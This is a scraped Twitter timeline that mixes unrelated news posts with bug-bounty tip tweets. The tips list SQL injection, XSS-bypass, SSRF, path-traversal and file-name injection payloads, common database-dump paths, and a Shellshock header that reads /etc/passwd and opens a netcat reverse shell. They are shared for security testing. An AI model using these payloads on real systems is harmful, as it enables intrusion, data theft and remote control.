Baba Fakruddin @babapdtr

Senior Software Engineer - MNC Texas, USA Joined August 2014

Tweets

392
Followers

171
Following

2K
Likes

135

Secnhack ✪ @secnhack

5 years ago

Bug Bounty Tips This is how to find sql-Injection 100% of the time /?q=1 /?q=1' /?q=1" /?q=[1] /?q[]=1 /?q=1` /?q=1\ /?q=1/*'*/ /?q=1/*!1111'*/ /?q=1'||'asd'||' <== concat string /?q=1' or '1'='1 /?q=1 or 1=1 /?q='or''=' #bugbounty #bugbountyTips #SQLinjection

6 73 244 0 74

payloadartist @payloadartist

5 years ago

Android SSL pinning bypass methods — One click SSL pinning bypass in Genymotion by @zombie007o bit.ly/35XC1JI SSL Pinning bypass using Xposed framework bit.ly/34MQR6v by @ITSecurityguard bit.ly/2HTlTAQ #infosec #bugbounty #cybersecurity

0 29 47 0 19

Baba Fakruddin @babapdtr

5 years ago

testbnull.medium.com/weblogic-rce-b…

0 1 2 0 0

Priti Gandhi @MrsGandhi

5 years ago

Meet Padmashila Tirpude, mother of two kids from Bhandara, Maharashtra. She used to sell heavy stone blocks (सिल-बट्टा) for a living. In 2017, she cleared her MPSC examination & became a police Sub-Inspector. Salute to her confidence & determination. Impossible is nothing!!

146 1K 6K 0 28

Download Image

Daniel Azulay @danielazulayy

5 years ago

Common forgotten database dumps: /back.sql /backup.sql /accounts.sql /backups.sql /clients.sql /customers.sql /data.sql /database.sql /database.sqlite /users.sql /db.sql /db.sqlite /db_backup.sql /dbase.sql /dbdump.sql /setup.sql /sqldump.sql /dump.sql /mysql.sql /temp.sql

11 280 833 0 235

Manas @ManasH4rsh

5 years ago

Chaining file uploads with other vulns:- Set filename to:- > ../../../tmp/lol.png for path traversals > sleep(10)-- -.jpg for SQLi. > <svg onload=alert(document.comain)>.jpg/png for xss > ; sleep 10; for command injections #bugbountytips

6 251 638 0 185

Ahsan Khan @hunter0x7

5 years ago

Test on CGI (cgi-bin) User-Agent: () { :;}; echo $(</etc/passwd) () { :;}; /usr/bin/nc ip 1337 -e /bin/bash

11 264 766 0 236

The New Indian Express @NewIndianXpress

5 years ago

This 105-year-old woman with co-morbid conditions from Andhra Pradesh's Kurnool has defeated #COVID19 with proper diet, medication and regular yoga. @xpressandhra @Kalyan_TNIE @MoHFW_INDIA @PMOIndia @PrabhuChawla @gsvasu_TNIE

1 106 199 0 0

Download Video

Broly @Broly157

5 years ago

A simple XSS Bypass Payload '"></script><img src=x onerror=prompt(`XSSED`)> blocked as : '"> script><img src=x onerror=prompt(`XSSED`)> Bypass: '"><%252fscript><img src=x onerror=prompt(`XSSED`)> Try once if u want😉🙂 #xss #Bypass #bugbountytips #bugbounty

2 63 157 0 31

#MostEligibleBachelor @JagaNagAkhilFan

5 years ago

👏👏👏👏👏👏👏👏👏

0 4 8 0 0

Chiranjeevi Konidela @KChiruTweets

5 years ago

Humbly appeal to all RECOVERED Covid-19 patients to come forward & DONATE PLASMA to SAVE LIVES. There can be no greater humanitarian gesture in these times of unprecedented crisis. Covid-19 Warriors, Be Saviors Now! donateplasma.scsc.in @TelanganaDGP @TelanganaCOPs

Cyberabad Police @cyberabadpolice

5 years ago

67 878 3K 0 6

Download Video

71 3K 12K 0 5

Vasim @vasim_infosec

5 years ago

XXE SSRF INJECTION aisecureme.com/xxessrf-inject…

0 12 40 0 7

Joona @joohoi

5 years ago

Ffuf v1.1.0 is out! github.com/ffuf/ffuf/rele… New stuff explained in thread below 👇

10 88 307 0 31

Vasim @vasim_infosec

5 years ago

SSRF blogs : medium.com/swlh/intro-to-… medium.com/@vickieli/expl… medium.com/@vickieli/bypa… medium.com/@kapilvermarbl… medium.com/@madrobot/ssrf… medium.com/@madrobot/ssrf… medium.com/@madrobot/ssrf… gowsundar.gitbook.io/book-of-bugbou… book.hacktricks.xyz/pentesting-web… #bugbounty #pentesting

1 90 152 0 95

Aditya Shende @ADITYASHENDE17

5 years ago

SSRF payloads http://[::]:80/ http://[::]:25/ SMTP http://[::]:22/ SSH http://[::]:3128/ http://0000::1:80/ http://0000::1:25/ SMTP http://0000::1:22/ SSH http://0000::1:3128/ http://0177.0.0.1/ http://2130706433/ = http://127.0.0.1 http://3232235521/ http://192.168.0.1 #kongsec

8 225 539 0 162

JS0N Haddix @Jhaddix

6 years ago

I know it's common sense but remember when parsing JS for endpoints/files: / = Root directory . = This location .. = Up a directory ./ = Current directory ../ = Parent of current directory ../../ = Two directories backwards #bugbountytips ?

2 144 531 0 108

xxux11 ᯲ ̸ @11xuxx

6 years ago

Wildcard bypass & LFI 1. Intercepted a POST req that pointed to a local file "/usr/local/redacted/filename" 2. tried "/etc/passwd" -> bad request 3. "/user/local/../../etc/passwd" -> bad request 4. "/user/local/redacted/../../../etc/passwd" -> OK 5. LFI & bounty #BugBountyTips

12 241 663 0 152

Download Image

Bug Bounty Village @bugbountyvillag

6 years ago

Tip by @RahulKankrale Scheme verification bypass using Line Feed & Parameter pollution if only https/http schemes allowed then using %0A & parameter pollution it is possible to bypass this restriction. scheme://route?uri=http%0A&uri=protected_scheme://auth #bugbountytip